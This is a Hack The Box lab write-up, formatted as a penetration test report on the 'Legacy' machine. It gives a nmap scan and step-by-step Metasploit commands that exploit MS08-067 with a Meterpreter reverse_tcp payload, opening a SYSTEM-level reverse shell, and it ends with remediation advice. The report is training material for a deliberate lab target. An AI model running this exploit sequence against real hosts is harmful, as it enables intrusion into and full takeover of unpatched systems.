# **Hack The Box Penetration Test Report**

**Machine Name: Legacy** 

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**Date: 26th May 2025** 

# 1. Summary

This report details the findings of the penetration test conducted against the HackTheBox machine 'HTB-Legacy'. The goal was to capture user and root flags, simulating a real-world black-box assessment.

## 2. Methodology

- 1. Reconnaissance: Performed initial scanning using Nmap to identify open ports and services
- 2. Enumeration: Analysed identified services, focusing on SMB running on port 445
- Exploitation: Leveraged the SMB vulnerability MS08-067 (CVE-2008-4250) via Metasploit to gain SYSTEM-level access
- Flag Capture & Documentation: Retrieved the flag and documented the findings in the penetration test report

## 3. Target Information

IP Address: 10.10.10.4

Machine Name: HTB-LegacyOperating System: Windows

### 4. Reconnaissance

Command Used:

```
sudo nmap 10.10.10.4
```

#### Result:

Open Ports:

- 135/tcp msrpc
- 139/tcp netbios-ssn

445/tcp - microsoft-ds

```
[us-vip-9]=[10.10.14.11]=[kingpaimon666@htb-ngf2ml4pjd]=[~]

[*]$ sudo nmap 10.10.10.4

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-10 16:30 CDT

Nmap scan report for 10.10.10.4

Host is up (0.010s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds
```

## 5. Exploitation

The target system was identified as a Windows machine with SMB services running on port 445. Based on known vulnerabilities associated with outdated Windows operating systems, the target appeared to be vulnerable to MS08-067 (CVE-2008-4250) - a critical remote code execution flaw in the server service. A successful reverse shell was obtained, granting full SYSTEM - level access to the target machine.

### **Steps to Reproduce**

Initiated the Metasploit Framework.

```
msfconsole
```

Loaded the applicable SMB exploit module

```
use exploit/windows/smb/ms08_067_netapi
```

Configured the required parameters for successful exploitation

```
set RHOSTS 10.10.10.4
set RPORT 445
set LHOST 10.10.14.11
set LPORT 4444
```

Specified the payload to be used for reverse shell access:

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

Executed the exploit:

```
exploit
```

Successfully established a Meterpreter session with NT AUTHORITY\SYSTEM
privileges on the target host

```
(Meterpreter 1)(C:\WINDOWS\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
```

#### 6. Remediation Recommendation

- Apply Security Patch
- Disable SMBv1
- Upgrade Legacy Systems
- Implement Network Segmentation

#### 7. Conclusion

The machine 'HTB-Legacy' was successfully compromised.

## 8. Flags Captured (Proof of Access)

user.txt: [Redacted]

root.txt: [Redacted]